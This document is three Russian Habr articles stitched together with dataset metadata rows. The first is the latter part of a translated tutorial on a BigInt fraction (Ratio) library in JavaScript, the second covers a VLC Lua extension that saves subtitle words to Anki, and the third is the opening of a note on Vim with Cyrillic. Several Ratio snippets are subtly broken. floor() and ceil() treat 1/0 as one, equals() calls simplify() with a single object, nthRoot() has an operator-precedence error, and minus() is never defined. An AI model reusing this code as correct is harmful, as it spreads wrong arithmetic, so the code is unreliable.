Эта точка над единицей указывает на то, что единицы продолжаются. Но в большинстве языков программирования этой точки нет.
Заметьте, что 10/9 имеет идеальную точность. И всё, что нужно для точности, — это два кусочка информации. Это *числитель* и *знаменатель*. С помощью одного значения BigInt мы можем представлять произвольно большие целые числа. Но если мы создадим *пару* из целых чисел, то сможем представлять произвольно большие *или* маленькие числа.
В JavaScript это может выглядеть так:
```
// file: ratio.js
export default class Ratio {
// We expect n and d to be BigInt values.
constructor(n, d) {
this.numerator = n;
this.denominator = d;
}
}
```
Итак, мы проделали самую хитрую часть. «Изобрели» способ представления чисел с почти бесконечной точностью. (Мы все еще ограничены объемом памяти наших устройств.) Осталось только применить математику. Так что давайте добавим функциональности.
Равенство
---------
Первое, что хочется сделать, — это сравнить две дроби. Зачем? Потому, что мне нравится [сначала писать тесты](https://jrsinclair.com/articles/2016/one-weird-trick-that-will-change-the-way-you-code-forever-javascript-tdd/). Если я могу сравнить две дроби на равенство, то писать тесты намного проще.
В простом случае написать метод равенства довольно легко:
```
// file: ratio.js
export default class Ratio {
constructor(n, d) {
this.numerator = n;
this.denominator = d;
}
equals(other) {
return (
this.numerator === other.numerator &&
this.denominator === other.denominator
);
}
}
```
Вот и хорошо. Но было бы неплохо, если бы наша библиотека могла сообщить, что 1/2 равна 2/4. Для этого нужно упростить дробь. То есть, прежде чем проверять равенство, мы хотим уменьшить числители и знаменатели обеих дробей до как можно более маленьких чисел. Итак, как мы сделаем это?
Наивный подход заключается в прогоне всех чисел от 1 до min(n,d) (где nn и dd — числитель и знаменатель соответственно). И это то, что я попробовал вначале. Код выглядел как-то так:
```
function simplify(numerator, denominator) {
const maxfac = Math.min(numerator, denominator);
for (let i=2; i<=maxfac; i++) {
if ((numerator % i === 0) && (denominator % i === 0)) {
return simplify(numerator / i, denominator / i);
}
}
return Ratio(numerator, denominator);
}
```
И, как и следовало ожидать, он невероятно медленный. Мои тесты заняли вечность. Так что нам нужен более эффективный подход. К счастью, греческий математик нашел его пару тысячелетий назад. Решение — применение алгоритма Евклида. Это способ найти наибольший общий делитель двух целых чисел.
Рекурсивная версия алгоритма Евклида красива и элегантна:
```
function gcd(a, b) {
return (b === 0) ? a : gcd(b, a % b);
}
```
Применима мемоизация, что делает алгоритм довольно привлекательным. Но, увы, [у нас еще нет хвостовой рекурсии в V8 или SpiderMonkey](https://kangax.github.io/compat-table/es6/#test-proper_tail_calls_(tail_call_optimisation)). (По крайней мере не на момент написания статьи.) Это означает, что если мы запустим его с достаточно большими целыми числами, то получим переполнение стека. А большие целые числа — это что-то вроде точки отсчёта.
Так что вместо этого воспользуемся итерационной версией:
```
// file: ratio.js
function gcd(a, b) {
let t;
while (b !== 0) {
t = b;
b = a % b;
a = t;
}
return a;
}
```
Не так элегантно, но делает свою работу. И с этим кодом мы можем написать функцию для упрощения дробей. Пока мы это делаем, мы внесём и небольшое изменение, чтобы знаменатели всегда были положительными (т. е. для отрицательных чисел знак меняет только числитель).
```
// file: ratio.js
function sign(x) {
return x === BigInt(0) ? BigInt(0)
: x > BigInt(0) ? BigInt(1)
/* otherwise */ : BigInt(-1);
}
function abs(x) {
return x < BigInt(0) ? x * BigInt(-1) : x;
}
function simplify(numerator, denominator) {
const sgn = sign(numerator) * sign(denominator);
const n = abs(numerator);
const d = abs(denominator);
const f = gcd(n, d);
return new Ratio((sgn * n) / f, d / f);
}
```
И теперь мы можем написать наш метод равенства:
```
// file: ratio.js -- inside the class declaration
equals(other) {
const a = simplify(this);
const b = simplify(other);
return (
a.numerator === b.numerator &&
a.denominator === b.denominator
);
}
```
Теперь можно сравнить две дроби на равенство. Может показаться, что это не так уж и много, но это значит, что мы можем написать юнит-тесты и убедиться, что наша библиотека работает, как ожидается.
Преобразование в другие типы
----------------------------
Не буду утомлять, выписывая все юнит-тесты моей библиотеки. Но было бы неплохо конвертировать дроби в другие форматы. Например, мы можем захотеть представить их как строку в отладочных сообщениях. Или, возможно, мы захотим преобразовать их в числа. Итак, давайте переопределим методы .toString() и .toValue() для нашего класса.
Метод .toString() проще всего, так что давайте начнём с него.
```
// file: ratio.js -- inside the class declaration
toString() {
return `${this.numerator}/${this.denominator}`;
}
```
Достаточно просто. Но как насчёт преобразования обратно в число? Один из способов сделать это — просто разделить числитель на знаменатель:
```
// file: ratio.js -- inside the class declaration
toValue() {
return Number(this.numerator) / Number(this.denominator);
}
```
Зачастую это работает. Но, возможно, мы захотим немного подправить код. Весь смысл нашей библиотеки заключается в том, что мы используем большие целые числа для получения необходимой точности. И иногда эти целые числа будут слишком большими, чтобы их можно было преобразовать обратно к типу Number. Но мы хотим получить Number как можно ближе к истине, где это возможно. Так что мы выполняем немного арифметических действий, пока конвертируем BigInt в Number:
```
// file: ratio.js -- inside the class declaration
toValue() {
const intPart = this.numerator / this.denominator;
return (
Number(this.numerator - intPart * this.denominator) /
Number(this.denominator) + Number(intPart)
);
}
```
Извлекая целую часть, мы уменьшаем размер значений BigInt, прежде чем преобразовать их в Number. Есть и другие способы сделать это, у которых меньше проблем с диапазоном. В основном они сложнее и медленнее. Если вам интересно, я рекомендую вам заглянуть в них глубже. Но в этой статье простой подход охватывает достаточно случаев, чтобы быть полезным.
Умножение и деление
-------------------
Сделаем что-нибудь с числами. Как насчёт умножения и деления? Это несложно для дробей. Умножаем числители на числители, а знаменатели на знаменатели.
```
// file: ratio.js -- inside the class declaration
times(x) {
return simplify(
x.numerator * this.numerator,
x.denominator * this.denominator
);
}
```
Деление похоже на код выше. Переворачиваем вторую дробь, затем умножаем.
```
// file: ratio.js -- inside the class declaration
divideBy(x) {
return simplify(
this.numerator * x.denominator,
this.denominator * x.numerator
);
}
```
Сложение и вычитание
--------------------
Теперь у нас есть умножение и деление. Логически следующая вещь, которую нужно написать, — это сложение и вычитание. Это немного сложнее, чем умножение и деление. Но не слишком.
Чтобы сложить две дроби, сначала нужно привести их к одному знаменателю, затем сложить числители. В коде это может выглядеть примерно так:
```
// file: ratio.js -- inside the class declaration
add(x) {
return simplify(
this.numerator * x.denominator + x.numerator * this.denominator,
this.denominator * x.denominator
);
}
```
Всё умножается на знаменатели. И мы используем simplify(), чтобы сохранялась дробь как можно меньше в смысле чисел числителя и знаменателя.
Вычитание похоже на сложение. Мы манипулируем двумя дробями так, чтобы одинаковые знаменатели выстраивались в ряд, как раньше. Затем не складываем, а вычитаем.
```
// file: ratio.js -- inside the class declaration
subtract(x) {
return simplify(
this.numerator * x.denominator - x.numerator * this.denominator,
this.denominator * x.denominator
);
}
```
Итак, у нас есть основные операторы. Можно складывать, вычитать, умножать и делить. Но нам всё ещё нужно несколько других методов. В частности, цифры имеют важное свойство: мы можем сравнивать их друг с другом.
Сравнения
---------
Мы уже обсуждали .equals(). Но нам нужно нечто большее, чем просто равенство. Мы также хотели бы иметь возможность определить отношения дробей «больше, меньше». Поэтому создадим метод .lte(), который расскажет нам, является ли одна дробь меньшей или равной другой дроби. Как и в случае .equals(), не очевидно, какая из двух дробей меньше. Чтобы сравнить их, нам нужно преобразовать обе к одному знаменателю, затем сравнить числители. С небольшим упрощением это может выглядеть так:
```
// file: ratio.js -- inside the class declaration
lte(other) {
const { numerator: thisN, denominator: thisD } = simplify(
this.numerator,
this.denominator
);
const { numerator: otherN, denominator: otherD } = simplify(
other.numerator,
other.denominator
);
return thisN * otherD <= otherN * thisD;
}
```
Как только мы получим .lte() и .equals(), то сможем вывести остальные сравнения. Можно выбрать любой оператор сравнения. Но если у нас есть equals() и >, <, ≥ или ≤, то мы сможем выводить остальные с помощью булевой логики. В данном случае мы выбрали lte(), потому что его использует [стандарт FantasyLand](https://github.com/fantasyland/fantasy-land#ord). Вот как могут выглядеть другие операторы:
```
// file: ratio.js -- inside the class declaration
lt(other) {
return this.lte(other) && !this.equals(other);
}
gt(other) {
return !this.lte(other);
}
gte(other) {
return this.gt(other) || this.equals(other);
}
```
Округление
----------
Теперь мы можем сравнить дроби. А ещё можем умножать и делить, складывать и вычитать. Но если мы собираемся делать больше интересного с нашей библиотекой, нам нужно больше инструментов. Удобные объекты JavaScript Math содержат методы .floor() и .ceil().
Начнём с .floor(). Floor принимает значение и округляет его вниз. При положительных числах это означает, что мы просто сохраняем целую часть и отбрасываем оставшуюся часть. Но для отрицательных чисел мы округляем вверх от нуля, так что отрицательным числам нужно уделить немного больше внимания.
```
// file: ratio.js -- inside the class declaration
floor() {
const one = new Ratio(BigInt(1), BigInt(0));
const trunc = simplify(this.numerator / this.denominator, BigInt(1));
if (this.gte(one) || trunc.equals(this)) {
return trunc;
}
return trunc.minus(one);
}
```
Теперь можно использовать код выше, чтобы рассчитать округленные вверх значения.
```
// file: ratio.js -- inside the class declaration
ceil() {
const one = new Ratio(BigInt(1), BigInt(0));
return this.equals(this.floor()) ? this : this.floor().add(one);
}
```
Сейчас у нас есть большая часть необходимого для многих математических операций. А с помощью .toValue() мы можем легко преобразовать вычисления обратно в десятичные числа. Но что, если мы хотим преобразовать число с плавающей точкой в дробь?
Число в дробь
-------------
Преобразование чисел в дроби сложнее, чем может показаться на первый взгляд. И есть много разных способов проделать это преобразование. Мой способ реализации не самый точный, но он достаточно хорош. Чтобы он сработал, сначала конвертируем число в строку, которая, как мы знаем, приобретёт формат последовательности. Для этого JavaScript предоставляет нам метод .toExponential(). Метод возвращает число в экспоненциальной нотации. Вот несколько примеров для понимания идеи:
```
let x = 12.345;
console.log(x.toExponential(5));
// ⦘ '1.23450e+1''
x = 0.000000000042;
console.log(x.toExponential(3));
// ⦘ '4.200e-11'
x = 123456789;
console.log(x.toExponential(4));
// ⦘ '1.2346e+8'
```
Код работает, представляя число в виде нормализованного десятичного значения и множителя. Нормализованный десятичный бит называется мантиссой, а множитель — экспонентой. Здесь «нормализованный» означает, что абсолютное значение мантиссы всегда меньше 10. А экспонента всегда теперь 10. Мы указываем начало множителя с буквой 'e' (сокращение от 'exponent').
Преимущество этой нотации в том, что она последовательна. Всегда есть ровно одна цифра слева от десятичной точки. А .toExponential() позволяет указать, сколько значащих цифр мы хотим. Затем идет 'e' и экспонента — всегда целое число. Поскольку значение последовательно, мы можем использовать наглое регулярное выражение, чтобы разобрать его.
Процесс идёт примерно так. Как уже упоминалось, .toExponential() принимает параметр для указания количества значащих цифр. Нам нужен максимум цифр. Итак, мы установили точность на 100 (столько позволит большинство JavaScript-движков). В этом примере, однако, мы будем придерживаться точности 10. Теперь представьте, что у нас есть число 0.987654321e0. Мы хотим перенести десятичную точку на 10 цифр вправо. Это дало бы нам 9876543210. Затем делим на 10^10, и получаем 9876543210/100000000. Это, в свою очередь, упрощает до 987654321/100000000.
Но мы должны обратить внимание на эту экспоненту. Если у нас есть число вроде 0.987654321e9, то мы всё равно сдвинем десятичную точку на 10 цифр вправо. Но мы делим на десять, к степени 10-9=1.
Чтобы всё было именно так, мы определили пару вспомогательных функций:
```
// Transform a ‘+’ or ‘-‘ character to +1 or -1
function pm(c) {
return parseFloat(c + "1");
}
// Create a new bigint of 10^n. This turns out to be a bit
// faster than multiplying.
function exp10(n) {
return BigInt(`1${[...new Array(n)].map(() => 0).join("")}`);
}
```
С их помощью мы можем собрать всю функцию fromNumber() воедино.
```
// file: ratio.js -- inside the class declaration
static fromNumber(x) {
const expParse = /(-?\d)\.(\d+)e([-+])(\d+)/;
const [, n, decimals, sgn, pow] =
x.toExponential(PRECISION).match(expParse) || [];
const exp = PRECISION - pm(sgn) * +pow;
return exp < 0
? simplify(BigInt(`${n}${decimals}`) * exp10(-1 * exp), BigInt(1))
: simplify(BigInt(`${n}${decimals}`), exp10(exp));
}
```
Охвачено большинство основных функций. Мы можем перейти от чисел к дробям и обратно. Но для моего конкретного приложения мне нужно было большее. В частности нужно было найти возведение в степень и логарифмы.
Возведение в степень
--------------------
Возведение в степень — это когда число многократно умножается само на себя. Например, 2^3=2×2×2=8. Для простых случаев, когда степень — целое число, есть встроенный оператор BigInt: \*\*. Так что, если мы возводим в степень дробь, это хороший вариант. Вот так дробь возводится в степень:
Следовательно, первый отрезок нашего метода возведения в степень может выглядеть примерно так:
```
// file: ratio.js -- inside the class declaration
pow(exponent) {
if (exponent.denominator === BigInt(1)) {
return simplify(
this.numerator ** exponent.numerator,
this.denominator ** exponent.numerator
);
}
}
```
Прекрасно работает. Ну… в основном хорошо. Теперь всё становится сложнее. Из-за пределов ограничений обеспечения и математики мы должны пойти на некоторые компромиссы. Возможно, нам придётся пожертвовать точностью ради получения ответа в разумные сроки.
Возведение в степень легко порождает большие числа. И когда числа становятся большими, всё замедляется. Пока я писал эту статью, я также написал вычисления, которые, не завершаясь, выполнялись в течение дней. Так что нужно соблюдать осторожность. Но ничего страшного. Все поставляется для BigInt.
Но есть и другая проблема. Что делать, если знаменатель степени — не единица? Например, что, если бы мы хотели рассчитать 8^(2/3)?
К счастью, мы можем разделить эту проблему на две проблемы поменьше. Мы хотим привести одну дробь к степени другой. Например, мы можем отнести x/y к a/b. Законы возведения в степень гласят, что следующее эквивалентно:
Мы уже знаем, как привести одно число BigInt к степени другого числа BigInt. Но как насчёт дробной степени? Ну, есть ещё один эквивалент:
![$x^\frac{1}{n} = \sqrt[n]{x}$](https://habrastorage.org/getpro/habr/formulas/5f2/bc4/24b/5f2bc424b6b37e0c72d5f22e59f59534.svg)
То есть приведение xx к степени 1n1n эквивалентно нахождению n-го корня из xx. Это означает, что если мы найдем способ вычислить n-й корень BigInt, то мы сможем вычислить любую степень.
При хорошо продуманном поиске в вебе, нахождение алгоритма оценки n-го корня не займёт много времени. Наиболее распространённый метод — [метод Ньютона](https://en.wikipedia.org/wiki/Newton's_method). Он работает начиная с оценки, rr. Затем делается такой расчёт, чтобы получить лучшую оценку:
Мы продолжаем повторять эти расчёты до тех пор, пока не достигнем желаемой точности. К сожалению, есть некоторые корни, которые не могут быть представлены в виде конечной дроби. Другими словами, чтобы получить идеальную точность, нам понадобятся бесконечно длинные значения BigInt. На практике это означает, что мы должны выбрать произвольное ограничение итераций.
Мы вернемся к этому моменту. А пока давайте разберёмся, как вычислить достаточно точный корень n-й степени. Так как оценка rr будет дробью, мы можем записать её как:
И это позволяет нам переписать расчёты так:
Теперь всё в терминах целочисленных вычислений, подходящих для использования с BigInt. Не стесняйтесь вставлять abab в уравнение для r′r′ выше и проверьте мои выводы. В JavaScript это выглядит вот так:
```
const estimate = [...new Array(NUM_ITERATIONS)].reduce(r => {
return simplify(
(n - BigInt(1)) * r.numerator ** n + x * r.denominator ** n,
n * r.denominator * r.numerator ** (n - BigInt(1))
);
}, INITIAL_ESTIMATE);
```
Мы просто повторяем это вычисление до тех пор, пока не достигнем подходящей точности для нашей оценки корня n-й степени. Проблема в том, что нам нужно придумать подходящие значения для наших констант. То есть NUM\_ITERATIONS и INITIAL\_ESTIMATE.
Многие алгоритмы начинаются с INITIAL\_ESTIMATE в единицу. Это разумный выбор. Зачастую у нас нет хорошего способа предположить, каким может быть корень n-й степени. Но напишем «обманку». Предположим (пока), что наш числитель и знаменатель находятся в диапазоне Number. Затем мы можем использовать Math.pow() для получения начальной оценки. Это может выглядеть так:
```
// Get an initial estimate using floating point math
// Recall that x is a bigint value and n is the desired root.
const initialEstimate = Ratio.fromNumber(
Math.pow(Number(x), 1 / Number(n))
);
```
Итак, у нас есть значение для нашей первоначальной оценки. А как же NUM\_ITERATION? Ну, на практике, то, что я делал, начиналось с предположения в 10. А потом я проводил тесты свойств. Я продолжал наращивать число до тех пор, пока вычисления укладывались в разумные сроки. И цифра, которая, наконец, сработала… 1. Одна итерация. Это меня немного огорчает, но мы немного более точны, чем при вычислениях с плавающей точкой. На практике вы можете увеличивать это число, если не вычисляете много дробных степеней.
Для простоты мы извлечём вычисление n-го корня в отдельную функцию. Если сложить всё вместе, код может выглядеть так:
```
// file: ratio.js -- inside the class declaration
static nthRoot(x, n) {
// Handle special cases
if (x === BigInt(1)) return new Ratio(BigInt(1), BigInt(1));
if (x === BigInt(0)) return new Ratio(BigInt(0), BigInt(1));
if (x < 0) return new Ratio(BigInt(1), BigInt(0)); // Infinity
// Get an initial estimate using floating point math
const initialEstimate = Ratio.fromNumber(
Math.pow(Number(x), 1 / Number(n))
);
const NUM_ITERATIONS = 1;
return [...new Array(NUM_ITERATIONS)].reduce((r) => {
return simplify(
n -
BigInt(1) * (r.numerator ** n) +
x * (r.denominator ** n),
n * r.denominator * r.numerator ** (n - BigInt(1))
);
}, initialEstimate);
}
pow(n) {
const { numerator: nNumerator, denominator: nDenominator } = n.simplify();
const { numerator, denominator } = this.simplify();
if (nNumerator < 0) return this.invert().pow(n.abs());
if (nNumerator === BigInt(0)) return Ratio.one;
if (nDenominator === BigInt(1)) {
return new Ratio(numerator ** nNumerator, denominator ** nNumerator);
}
if (numerator < 0 && nDenominator !== BigInt(1)) {
return Ratio.infinity;
}
const { numerator: newN, denominator: newD } = Ratio.nthRoot(
numerator,
nDenominator
).divideBy(Ratio.nthRoot(denominator, nDenominator));
return new Ratio(newN ** nNumerator, newD ** nNumerator);
}
```
Неидеально и медленно. Но задача стала в основном выполнимой. Остаётся вопрос, как получить оценку, если у нас целые числа больше Number.MAX\_VALUE. Однако я оставлю это как упражнение для читателя; эта статья и так уже слишком длинная.
Логарифмы
---------
Должен признать, логарифмы озадачили меня на несколько недель. Для моей разработки мне нужно вычислить логарифмы по основанию 10. Поэтому я пошёл искать алгоритмы для вычисления логарифмов. И их много. Но я не смог найти такой, который работал бы достаточно хорошо, чтобы включить его в математическую библиотеку.
Почему это так сложно? Моей целью было вычислить логарифмы ради точности большей, чем точность чисел с плавающей точкой. Иначе зачем всё это? Функция вычисления логарифма с типом числа с плавающей точкой, Math.log10(), быстрая и встроенная. Итак, я посмотрел на алгоритмы, которые дают способы итеративного вычисления логарифмов. И они работают. Но они медленны в получении точности выше точности числа с плавающей точкой. Не просто немного медленнее. Намного медленнее.
По мере того как мы проходим через итерации, дробь, которую мы строим, становится всё точнее. Но за эту точность приходится платить. Значения BigInt в дроби становятся всё больше и больше. И по мере того как они становятся больше, их умножение начинает занимать много времени. В какой-то момент я оставил вычисление на три дня. Но пока шли расчёты, я кое-что вспомнил.
Я вспомнил, что мне нужен метод log10() для того, чтобы можно было вычислять красивые масштабированные значения для графиков. И для этих вычислений каждый раз, когда я вызывал .log10(), я сразу же вызывал .floor(). Это означает, что мне нужна только целочисленная часть логарифма. Расчёт логарифма до 100 знаков после запятой был просто пустой тратой времени и мощностей.
Более того, есть простой способ вычислить целую часть логарифма по основанию 10. Всё, что нам нужно, — это посчитать цифры. Наивная попытка может выглядеть так:
```
// file: ratio.js -- inside the class declaration
floorLog10() {
return simplify(BigInt((this.numerator / this.denominator).toString().length - 1), BigInt(1));
}
```
К сожалению, это не работает для значений меньше 1. Но даже в этом случае мы можем использовать некоторые логарифмические законы для работы с таким значением.
Поэтому:
Собрав всё воедино, мы получаем более надежный метод floorLog10():
```
// file: ratio.js -- inside the class declaration
invert() {
return simplify(this.denominator, this.numerator);
}
floorLog10() {
if (this.equals(simplify(BigInt(0), BigInt(1)))) {
return new Ratio(BigInt(-1), BigInt(0));
}
return this.numerator >= this.denominator
? simplify((this.numerator / this.denominator).toString().length - 1, 1)
: simplify(BigInt(-1), BigInt(1)).subtract(this.invert().floorLog10());
}
```
Опять. Зачем мучиться?
----------------------
На данный момент библиотека имеет все необходимые функции для моего приложения, для работы с графиками. Но всё равно может быть интересно, зачем все эти неприятности? Уже есть несколько библиотек произвольной точности. Почему бы просто не использовать одну из них и не покончить с этим?
Честно говоря, я бы использовал существующую библиотеку в большинстве случаев. Особенно, если я тороплюсь. Нет смысла делать всё это, если кто-то уже сделал превосходящую работу.
Ключевое слово здесь — «превосходящую». И именно здесь в игру вступают мои мотивы желания написать свою собственную библиотеку. Метод floorLog10() выше — идеальный пример. Он обеспечивает точный расчёт, который мне нужен для того, что хочу сделать я. Он делает это эффективно, примерно в шести строках кода.
Если бы я воспользовался чужой библиотекой, я бы столкнулся с одним из двух:
1. Разработчики не реализовали log10() или любые другие логарифмические методы.
или
1. Разработчики *реализовали* метод log10() (или его эквивалент).
В первом сценарии мне всё равно пришлось бы написать floorLog10(). Во второй ситуации я бы, вероятно, использовал их логарифмический метод. И мой код был бы медленнее и сложнее, чем должен быть.
Написание собственной библиотеки позволяет мне адаптировать её к приложению. Конечно, другие люди могут найти код полезным, но я не в ответе за их потребности. Чтобы моему приложению не приходилось таскать за собой сложный код, который оно никогда не использует.
Кроме всего этого, я многому научился, создавая свою собственную библиотеку. Теперь я на практике понимаю ограничения BigInt намного лучше, чем раньше. Я знаю, что могу настроить производительность метода корня n-й степени. Я могу настроить его в зависимости от того, сколько вычислений выполняю и какая точность мне нужна.
Иногда стоит написать свою собственную библиотеку общего назначения. Даже если ты не планируешь открывать код. Даже если никто больше ею не воспользуется. Ты можешь многому научиться, и, кроме того, это может принести радость.
Если вы хотите узнать больше о проблемах с числами с плавающей точкой, обратитесь к [0.30000000000000004.com](https://0.30000000000000004.com/). А если вы хотите посмотреть библиотеку целиком и сделать некоторые вычисления, то можете посмотреть [эту песочницу с кодом](https://codesandbox.io/s/ratio-high-precision-math-hwnry?file=/src/ratio.js).
[](https://skillfactory.ru/?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_banner&utm_term=regular&utm_content=habr_banner)
* [Курс по JavaScript](https://skillfactory.ru/javascript?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FJS&utm_term=regular&utm_content=261220)
* [Обучение профессии Data Science](https://skillfactory.ru/dstpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DSPR&utm_term=regular&utm_content=261220)
* [Обучение профессии Data Analyst](https://skillfactory.ru/dataanalystpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DAPR&utm_term=regular&utm_content=261220)
**Другие профессии и курсы**
**ПРОФЕССИИ**
* [Профессия Java-разработчик](https://skillfactory.ru/java?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_JAVA&utm_term=regular&utm_content=261220)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FR&utm_term=regular&utm_content=261220)
* [Профессия Этичный хакер](https://skillfactory.ru/cybersecurity?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_HACKER&utm_term=regular&utm_content=261220)
* [Профессия C++ разработчик](https://skillfactory.ru/cplus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_CPLUS&utm_term=regular&utm_content=261220)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-dev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_GAMEDEV&utm_term=regular&utm_content=261220)
* [Профессия iOS-разработчик с нуля](https://skillfactory.ru/iosdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_IOSDEV&utm_term=regular&utm_content=261220)
* [Профессия Android-разработчик с нуля](https://skillfactory.ru/android?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ANDR&utm_term=regular&utm_content=261220)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_WEBDEV&utm_term=regular&utm_content=261220)
---
**КУРСЫ**
* [Курс по Machine Learning](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ML&utm_term=regular&utm_content=261220)
* [Продвинутый курс «Machine Learning Pro + Deep Learning»](https://skillfactory.ru/ml-and-dl?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MLDL&utm_term=regular&utm_content=261220)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_PWS&utm_term=regular&utm_content=261220)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/math_and_ml?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MATML&utm_term=regular&utm_content=261220)
* [Курс по аналитике данных](https://skillfactory.ru/analytics?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_SDA&utm_term=regular&utm_content=261220)
* [Курс по DevOps](https://skillfactory.ru/devops?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEVOPS&utm_term=regular&utm_content=261220) | https://habr.com/ru/post/535138/ | null | ru | null |
# Учим язык, смотря сериалы: vlc + lua + stardict + wordnet + anki = l'amour
Очень уж мне нравится смотреть сериалы, а еще я учу с их помощью языки. И если раньше я прилежно останавливал видео на непонятном месте, перематывал назад, включал субтитры и забивал незнакомые слова в Анки, то сейчас я делаю то же самое. Разве что лень заставила этот процесс автоматизировать, что привело к созданию расширения Say It Again для проигрывателя VLC со следующими особенностями:
* Навигация по субтитрам (переход к предыдущей, следующей фразе) — клавиши **y**, **u**;
* Сохранение слова, его транскрипции и перевода вместе с контекстом (см. скриншот) — клавиша **i**;
* Функция «Еще раз»: переход к предыдущей фразе, показ субтитра и пауза — клавиша **backspace**;
* Подключение любых словарей в формате Stardict (в сети лежат [словари из Lingvo x3](https://www.google.com/search?q=lingvo+x3+stardict+torrent));
* Экспорт в Anki или другую программу, понимающую файлы в формате csv;
#### Но зачем?
В какой-то момент я понял, что просмотр сериалов с включенными субтитрами перестал давать ощутимые плоды (кроме повышения скорочтения). Но, выключая субтитры, я сталкивался со шквалом непонятных слов. Приходилось отматывать видео назад (*конечно же либо недостаточно, либо слишком далеко от нужного места*), включать субтитры, останавливать проигрывание, искать в словаре незнакомые слова, выписывать их в отдельный файлик, потом забивать в Анки (порой с контекстом, т.е. с фразой из фильма!) — в общем, геморрой. Отсюда и родилась идея расширения, которым я пользуюсь сегодня, и которым хочу поделиться с общественностью. Оно позволяет автоматизировать процесс сохранения слов с контекстом в текстовый файл такого вида:
**Пример файла экспорта**`desecrate [ˈdesɪkreɪt] оскорблять, осквернять, позорить You've desecrated my owls. Weeds S07E12`
#### Как этим пользоваться?
На самом деле не самый user-friendly процесс, но тут уж ничего не поделаешь. Скрипт проверялся на VLC 2.0.5 под Windows.
1. Скачиваем последнюю версию скрипта [say\_it\_again.lua](https://github.com/zm33y/vlc-lua-sia) с Гитхаба ([прямая ссылка](https://github.com/zm33y/vlc-lua-sia/zipball/master))
2. Копируем его, в зависимости от платформы, в *%ProgramFiles%\VideoLAN\VLC\lua\extensions* или */usr/share/vlc/lua/extensions*.
3. Ищем и качаем словарь в формате Stardict ([копирайт? не, не слышал](https://www.google.com/search?q=lingvo+x3+stardict+torrent)). Лично мне нравятся англо-английские словари Oxford American Dictionary.
4. Распаковываем его. В результате должны получиться три файла на словарь: \*.idx, \*.dict, \*.ifo. Если вместо \*.dict у нас есть \*.dz, то распаковываем его тоже — это обычный zip.
5. Скачиваем [базы WordNet](http://wordnetcode.princeton.edu/wn3.1.dict.tar.gz) и также распаковываем их куда-нибудь.
6. Редактируем *say\_it\_again.lua*, изменяя *dict\_dir, wordnet\_dir, chosen\_dict*.
**Пример настроек**
7. Запускаем VLC, открываем файл видео, рядом с которым лежит файл субтитров в формате srt; включаем в меню View — Say It Again.
8. Voilà — используем кнопки y, u, i и backspace для соответствующих действий (см. выше)
Можно обойтись без словарей (*dict\_dir = nil, chosen\_dict = nil*), но тогда значение слова придется забивать руками, и не будет транскрипции — смысл автоматизации теряется.
Также можно не подключать wordnet (*wordnet\_dir = nil*), но тогда не будет работать нормализация слов — по слову *was* не найдет в словаре глагол *be*.
#### Технический аспект — VLC и Lua
Начиная, кажется, с версии 1.1, проигрыватель VLC позволяет расширять свою функциональность с помощью скриптов на Lua. Для этого расширение должно удовлетворять определенным требованиям (некоторые не обязательны, но VLC будет ругаться):
1. Возвращать свое описание в виде таблицы функцией descriptor(). Формат таблицы можно посмотреть в готовых скриптах в [хранилище аддонов vlc](http://addons.videolan.org/index.php?xcontentmode=903);
2. Иметь функции activate(), deactivate();
3. В зависимости от *capabilities*, указанных в таблице с описанием, нужны функции input\_changed(), meta\_changed(), menu(), trigger\_menu();
4. Максимум может быть одно диалоговое окно на расширение. Хак с удалением и пересозданием диалога заново ведет к вылетаниям VLC.
Вообще надо сказать, что механизм расширений довольно сырой, и VLC падает без предупреждения буквально от любого чиха. Вот некоторые моменты, которые я для себя отметил:
* Чтобы обрабатывать периодические события вместо поллинга лучше подписаться на событие *intf-event*.
* Обработчик колбэка должен быть «коротким», т.е. в нем не должно быть времязатратных операций. С учетом того, что параллелизм в и без того склонную к падениям систему я вносить не хотел, то пришлось изобретать небольшой хак: в начале хендлера отписываться от событий, а в конце подписываться вновь.
* А вообще корутины ([coroutines](http://www.lua.org/pil/9.1.html)) работают.
* Лучший способ иметь несколько разных диалогов, что я нашел, — это очищать текущий и наполнять его контролами в зависимости от задачи.
#### Работа с форматами Stardict и WordNet, а также экспорт в Anki
Описание форматов Stardict и WordNet привела [Bienne](https://habrahabr.ru/users/bienne/) в [своей статье](http://habrahabr.ru/post/161073/), поэтому повторяться не буду. Экспорт в Anki работает через csv-файл. Последовательность полей в нем захардкожена в соответствии со следующей моделью карточек (или, как это сейчас называется, Note Type):
**Посмотреть скриншоты**
Процесс импорта:
#### Эпилог
Расширение создавалось под собственные нужды, и его концепция менялась в процессе написания и использования. Отсюда следует немного хаотичный код и отпугивающий внешний вид. Тем не менее, я надеюсь, что кому-нибудь данные разработки покажутся интересными.
#### Upd
Теперь работает на Линуксе (проверено в Ubuntu 12.10 64bit; vlc 2.0.5). | https://habr.com/ru/post/169351/ | null | ru | null |
# Vim и кириллица: парочка приёмов
Раньше для редактирования обычных русскоязычных текстов, я обычно откладывал Vim в сторонку и прибегал к помощи других редакторов. Причиной этому была парочка очень неприятных косяков:
1. На каждый чих приходилось сто раз переключать раскладку, чтобы корректно ввести пару команд и вернуться обратно. Например, замена буквы-опечатки в только что написанном слове, выливалось в: switch → добраться до буквы, нажать r → switch → [нужная буква] → switch → A → [пишем дальше]. Ад!
